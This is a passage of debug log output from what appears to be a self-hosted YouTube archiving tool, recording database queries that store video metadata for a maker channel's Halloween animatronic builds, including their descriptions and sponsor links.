https://store.creality.com/products/k2-combo-3d-printer?utm_source=youtube&utm_medium=%5B%E2%80%A6%5Dtm_campaign%3Dk2_combo_product_page&utm_content=wicked_makers\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nJoin Creality Cloud’s Halloween 3D Design Contest before Nov 9 and win K2 printers, cash, and more! https://www.crealitycloud.com/contest/Halloween?tab=2\n\nMommy Long Legs Model is on our Patreon! ► (WITHIN 1-2 DAYS)\nhttps://patreon.com/wickedmakers\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nSpecial Thanks to:\nBeardless Props ► https://instagram.com/beardlessprops\nGhost Ride Productions ► https://ghostride.com\n\nWho is MOMMY LONG LEGS?!\nMommy Longlegs is a stretchy, spider-like giant toy who’s the main antagonist from Poppy Playtime Chapter 2 (created by Mob Entertainment). She’s twisty and creepy and very deranged. That makes her the perfect choice for us to build to scare trick-or-treaters this Halloween 2025. \n\nTo create our Mommy Long Legs Halloween animatronic, we first built a pneumatic mech so we could perfect her jump scare animation. Then we 3D modeled and 3D printed all of her body parts. We built her arms and legs from rubber pipe insulation and then painted everything so that she looked like an old plastic toy. Finally we put her on our porch to be the ultimate scary Halloween decoration.\n\nWe love how our real life Mommy Long Legs turned out! She’s an awesome jump scare pneumatic prop and she's going to make the perfect companion to our growing collection of custom Poppy Playtime Halloween animatronics like our Catnap, Huggy Wuggy, Yarnaby, and The Doctor animatronics. Who do you want to see us make next? And where do we put her when Halloween is over?!\n\nThanks for watching, Happy Halloween, and Stay Wicked, y’all!\n\n#MommyLongLegs\n#PoppyPlaytime\n#Halloween", "We made a real MOMMY LONG LEGS Animatronic!", "ZGKi5nV0RBw", "https://www.youtube.com/watch?v=ZGKi5nV0RBw", 35, 1252, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e102900 - We made a real MOMMY LONG LEGS Animatronic!.mp4", false, ~U[2025-10-29 19:34:42Z]] 13:41:51.598 [debug] QUERY OK source="sources" db=0.1ms idle=47.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:41:51.598 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:41:51.599 [debug] QUERY OK source="media_items" db=0.3ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [122439] 13:41:51.599 [debug] Current batch of media processed. Will check again in 1000ms 13:41:52.600 [debug] Current batch of media processed. Will check again in 1000ms 13:41:53.601 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jaimie and Jay make Figure from Doors! Discover projects designed to inspire curiosity at any age with KiwiCo! Go to https://www.kiwico.com/wickedmakers and use code WICKEDMAKERS for 50% off your first monthly crate.\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nMERCH & WICKED GEAR ► https://shopwickedmakers.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nCould you sneak past a Figure in real life??\nFigure is one of the main enemies from an indie horror game called Doors on Roblox, developed by LSPLASH and RediblesQW. In the game, Figure is blind, so it can’t see you, but it can hear even the lightest footstep. It’s terrifying. We’re getting ready for Halloween, and a sound activated realistic Figure animatronic is going to be the perfect addition to our decorations to scare trick-or-treaters!\n\nTo make our real life Figure, we’re starting a werewolf animatronic from Lowes. It’s the perfect height, and has a really cool howling animation that will make our Figure look extra scary. After making a few modifications to the frame, we built up Figure’s shape with bubble wrap, aluminum foil, and plastic wrap. We swapped out the motion sensor for a sound sensor, added teeth and a glowing head, and we were ready for the ultimate challenge. Can we actually sneak past Figure, or will it catch us??\n\nWe can’t wait for Halloween! If you want to see more DIY animatronic builds like Springtrap and Jackie from FNAF or Dogday, Catnap, and Huggy Wuggy from Poppy Playtime, be sure to check out our channel! And let us know who YOU want us to build next!\n\nThanks for watching and Stay Wicked, y’all!\n\n#Figure\n#Doors\n#Animatronic", "duration" => 1424, "filename" => "/downloads/shows/Wicked Makers/Season 2025/s2025e100500 - We made a real FIGURE Animatronic (that can hear you).mp4", "id" => "VIJ9qbIX8-o", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=VIJ9qbIX8-o", "playlist_index" => 6, "timestamp" => 1759671585, "title" => "We made a real FIGURE Animatronic (that can hear you)", "upload_date" => "20251005"} 13:41:53.602 [debug] QUERY OK source="sources" db=0.2ms idle=606.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [35] 13:41:53.602 [debug] QUERY OK source="sources" db=0.1ms idle=606.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:41:53.603 [debug] QUERY OK source="media_items" db=0.4ms idle=607.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-05 13:39:45Z], 35] 13:41:53.605 [debug] QUERY OK source="media_items" db=1.3ms idle=608.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay make Figure from Doors! Discover projects designed to inspire curiosity at any age with KiwiCo! Go to https://www.kiwico.com/wickedmakers and use code WICKEDMAKERS for 50% off your first monthly crate.\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nMERCH & WICKED GEAR ► https://shopwickedmakers.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nCould you sneak past a Figure in real life??\nFigure is one of the main enemies from an indie horror game called Doors on Roblox, developed by LSPLASH and RediblesQW. In the game, Figure is blind, so it can’t see you, but it can hear even the lightest footstep. It’s terrifying. We’re getting ready for Halloween, and a sound activated realistic Figure animatronic is going to be the perfect addition to our decorations to scare trick-or-treaters!\n\nTo make our real life Figure, we’re starting a werewolf animatronic from Lowes. It’s the perfect height, and has a really cool howling animation that will make our Figure look extra scary. After making a few modifications to the frame, we built up Figure’s shape with bubble wrap, aluminum foil, and plastic wrap. We swapped out the motion sensor for a sound sensor, added teeth and a glowing head, and we were ready for the ultimate challenge. Can we actually sneak past Figure, or will it catch us??\n\nWe can’t wait for Halloween! If you want to see more DIY animatronic builds like Springtrap and Jackie from FNAF or Dogday, Catnap, and Huggy Wuggy from Poppy Playtime, be sure to check out our channel! And let us know who YOU want us to build next!\n\nThanks for watching and Stay Wicked, y’all!\n\n#Figure\n#Doors\n#Animatronic", "We made a real FIGURE Animatronic (that can hear you)", "97502484-e21d-4869-b5fe-03aa5c871001", "VIJ9qbIX8-o", false, "https://www.youtube.com/watch?v=VIJ9qbIX8-o", 35, [], 1424, false, 6, "/downloads/shows/Wicked Makers/Season 2025/s2025e100500 - We made a real FIGURE Animatronic (that can hear you).mp4", false, false, 98, ~U[2025-10-05 13:39:45Z], ~U[2026-06-02 17:41:53Z], ~U[2026-06-02 17:41:53Z], "Jaimie and Jay make Figure from Doors! Discover projects designed to inspire curiosity at any age with KiwiCo! Go to https://www.kiwico.com/wickedmakers and use code WICKEDMAKERS for 50% off your first monthly crate.\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nMERCH & WICKED GEAR ► https://shopwickedmakers.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nCould you sneak past a Figure in real life??\nFigure is one of the main enemies from an indie horror game called Doors on Roblox, developed by LSPLASH and RediblesQW. In the game, Figure is blind, so it can’t see you, but it can hear even the lightest footstep. It’s terrifying. We’re getting ready for Halloween, and a sound activated realistic Figure animatronic is going to be the perfect addition to our decorations to scare trick-or-treaters!\n\nTo make our real life Figure, we’re starting a werewolf animatronic from Lowes. It’s the perfect height, and has a really cool howling animation that will make our Figure look extra scary. After making a few modifications to the frame, we built up Figure’s shape with bubble wrap, aluminum foil, and plastic wrap. We swapped out the motion sensor for a sound sensor, added teeth and a glowing head, and we were ready for the ultimate challenge. Can we actually sneak past Figure, or will it catch us??\n\nWe can’t wait for Halloween! If you want to see more DIY animatronic builds like Springtrap and Jackie from FNAF or Dogday, Catnap, and Huggy Wuggy from Poppy Playtime, be sure to check out our channel! And let us know who YOU want us to build next!\n\nThanks for watching and Stay Wicked, y’all!\n\n#Figure\n#Doors\n#Animatronic", "We made a real FIGURE Animatronic (that can hear you)", "VIJ9qbIX8-o", "https://www.youtube.com/watch?v=VIJ9qbIX8-o", 35, 1424, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e100500 - We made a real FIGURE Animatronic (that can hear you).mp4", false, ~U[2025-10-05 13:39:45Z]] 13:41:53.605 [debug] QUERY OK source="sources" db=0.3ms idle=52.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:41:53.606 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:41:53.607 [debug] QUERY OK source="media_items" db=0.3ms idle=3.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [122440] 13:41:53.607 [debug] Current batch of media processed. Will check again in 1000ms 13:41:53.707 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:41:54.607 [debug] Current batch of media processed. Will check again in 1000ms 13:41:55.608 [debug] Current batch of media processed. Will check again in 1000ms 13:41:56.610 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jaimie and Jay turn Labubus into NIGHTMARES! 😱 Go to https://piavpn.com/WickedMakers to get 83% off from our sponsor Private Internet Access with 4 months free!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\nLABUBU GIVEAWAY ► http://bit.ly/46jp0JU\n\nYou Can Support Our Videos! ► https://patreon.com/wickedmakers\n\nBe a Wicked Maker! ►\nhttps://discord.gg/wickedmakers\n\nSpecial thanks to @BeardlessProps\n\nFreddy Glove STL: https://www.thingiverse.com/thing:962185\n\n#Labubu \n#Horror\n#Makeover", "duration" => 1324, "filename" => "/downloads/shows/Wicked Makers/Season 2025/s2025e091300 - We turned LABUBUS into Nightmare Animatronics!.mp4", "id" => "L8HNEnUT070", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=L8HNEnUT070", "playlist_index" => 7, "timestamp" => 1757765945, "title" => "We turned LABUBUS into Nightmare Animatronics!", "upload_date" => "20250913"} 13:41:56.611 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1615.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [35] 13:41:56.612 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1616.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:41:56.614 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=1617.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-13 12:19:05Z], 35] 13:41:56.615 [debug] QUERY OK source="media_items" db=0.6ms idle=1057.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay turn Labubus into NIGHTMARES! 😱 Go to https://piavpn.com/WickedMakers to get 83% off from our sponsor Private Internet Access with 4 months free!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\nLABUBU GIVEAWAY ► http://bit.ly/46jp0JU\n\nYou Can Support Our Videos! ► https://patreon.com/wickedmakers\n\nBe a Wicked Maker! ►\nhttps://discord.gg/wickedmakers\n\nSpecial thanks to @BeardlessProps\n\nFreddy Glove STL: https://www.thingiverse.com/thing:962185\n\n#Labubu \n#Horror\n#Makeover", "We turned LABUBUS into Nightmare Animatronics!", "5ad3957f-3461-40a2-bd67-3c515acf3327", "L8HNEnUT070", false, "https://www.youtube.com/watch?v=L8HNEnUT070", 35, [], 1324, false, 7, "/downloads/shows/Wicked Makers/Season 2025/s2025e091300 - We turned LABUBUS into Nightmare Animatronics!.mp4", false, false, 98, ~U[2025-09-13 12:19:05Z], ~U[2026-06-02 17:41:56Z], ~U[2026-06-02 17:41:56Z], "Jaimie and Jay turn Labubus into NIGHTMARES! 😱 Go to https://piavpn.com/WickedMakers to get 83% off from our sponsor Private Internet Access with 4 months free!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\nLABUBU GIVEAWAY ► http://bit.ly/46jp0JU\n\nYou Can Support Our Videos! ► https://patreon.com/wickedmakers\n\nBe a Wicked Maker! ►\nhttps://discord.gg/wickedmakers\n\nSpecial thanks to @BeardlessProps\n\nFreddy Glove STL: https://www.thingiverse.com/thing:962185\n\n#Labubu \n#Horror\n#Makeover", "We turned LABUBUS into Nightmare Animatronics!", "L8HNEnUT070", "https://www.youtube.com/watch?v=L8HNEnUT070", 35, 1324, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e091300 - We turned LABUBUS into Nightmare Animatronics!.mp4", false, ~U[2025-09-13 12:19:05Z]] 13:41:56.615 [debug] QUERY OK source="sources" db=0.2ms idle=56.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:41:56.616 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:41:56.616 [debug] QUERY OK source="media_items" db=0.1ms idle=3.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [122441] 13:41:56.616 [debug] Current batch of media processed. Will check again in 1000ms 13:41:57.617 [debug] Current batch of media processed. Will check again in 1000ms 13:41:58.619 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jaimie and Jay make JACKIE from FNAF: Secret of the Mimic! Download the FREE Upside App at https://upside.app.link/wicked to get an extra 25 cents back for every gallon on your first tank of gas!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nYou Can Support Our Videos! ► https://patreon.com/wickedmakers\n\nJoin the WM Community! ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nSpecial thanks to:\n ► @Formlabs \n ► @BeardlessProps\n ► @PurgatoryProps\n\nWe made a Jackie animatronic from Five Nights at Freddy's: Secret of the Mimic. But instead of making just one Jackie animatronic, we made 3! We challenged ourselves to see how good we could make Jackie in 1 hour, 1 day, and 1 week. To make the challenge even more difficult, each FNAF Jackie animatronic is a different version of her - normal Jackie, Mimic Jackie, and Shattered Jackie. At the end, we put our Jackie to the test and see if she can actually defeat Arnold.\n\nWe love making DIY FNAF animatronics! Let us know who you want us to build next and Stay Wicked!\n\n#FNAF\n#SecretOfTheMimic\n#Jackie", "duration" => 1827, "filename" => "/downloads/shows/Wicked Makers/Season 2025/s2025e080800 - We made a real JACKIE from FNAF! - 1 Hour vs. 1 Day vs. 1 Week.mp4", "id" => "9Enbe3xxp7o", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=9Enbe3xxp7o", "playlist_index" => 8, "timestamp" => 1754664300, "title" => "We made a real JACKIE from FNAF! - 1 Hour vs. 1 Day vs. 1 Week", "upload_date" => "20250808"} 13:41:58.620 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=624.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [35] 13:41:58.621 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=625.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:41:58.622 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=626.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-08 14:45:00Z], 35] 13:41:58.623 [debug] QUERY OK source="media_items" db=0.9ms idle=627.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay make JACKIE from FNAF: Secret of the Mimic! Download the FREE Upside App at https://upside.app.link/wicked to get an extra 25 cents back for every gallon on your first tank of gas!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nYou Can Support Our Videos! ► https://patreon.com/wickedmakers\n\nJoin the WM Community! ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nSpecial thanks to:\n ► @Formlabs \n ► @BeardlessProps\n ► @PurgatoryProps\n\nWe made a Jackie animatronic from Five Nights at Freddy's: Secret of the Mimic. But instead of making just one Jackie animatronic, we made 3! We challenged ourselves to see how good we could make Jackie in 1 hour, 1 day, and 1 week. To make the challenge even more difficult, each FNAF Jackie animatronic is a different version of her - normal Jackie, Mimic Jackie, and Shattered Jackie. At the end, we put our Jackie to the test and see if she can actually defeat Arnold.\n\nWe love making DIY FNAF animatronics! Let us know who you want us to build next and Stay Wicked!\n\n#FNAF\n#SecretOfTheMimic\n#Jackie", "We made a real JACKIE from FNAF! - 1 Hour vs. 1 Day vs. 1 Week", "2ccce04e-402b-4d84-bc56-a021de53b22a", "9Enbe3xxp7o", false, "https://www.youtube.com/watch?v=9Enbe3xxp7o", 35, [], 1827, false, 8, "/downloads/shows/Wicked Makers/Season 2025/s2025e080800 - We made a real JACKIE from FNAF! - 1 Hour vs. 1 Day vs. 1 Week.mp4", false, false, 98, ~U[2025-08-08 14:45:00Z], ~U[2026-06-02 17:41:58Z], ~U[2026-06-02 17:41:58Z], "Jaimie and Jay make JACKIE from FNAF: Secret of the Mimic! Download the FREE Upside App at https://upside.app.link/wicked to get an extra 25 cents back for every gallon on your first tank of gas!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nYou Can Support Our Videos! ► https://patreon.com/wickedmakers\n\nJoin the WM Community! ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nSpecial thanks to:\n ► @Formlabs \n ► @BeardlessProps\n ► @PurgatoryProps\n\nWe made a Jackie animatronic from Five Nights at Freddy's: Secret of the Mimic. But instead of making just one Jackie animatronic, we made 3! We challenged ourselves to see how good we could make Jackie in 1 hour, 1 day, and 1 week. To make the challenge even more difficult, each FNAF Jackie animatronic is a different version of her - normal Jackie, Mimic Jackie, and Shattered Jackie. At the end, we put our Jackie to the test and see if she can actually defeat Arnold.\n\nWe love making DIY FNAF animatronics! Let us know who you want us to build next and Stay Wicked!\n\n#FNAF\n#SecretOfTheMimic\n#Jackie", "We made a real JACKIE from FNAF! - 1 Hour vs. 1 Day vs. 1 Week", "9Enbe3xxp7o", "https://www.youtube.com/watch?v=9Enbe3xxp7o", 35, 1827, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e080800 - We made a real JACKIE from FNAF! - 1 Hour vs. 1 Day vs. 1 Week.mp4", false, ~U[2025-08-08 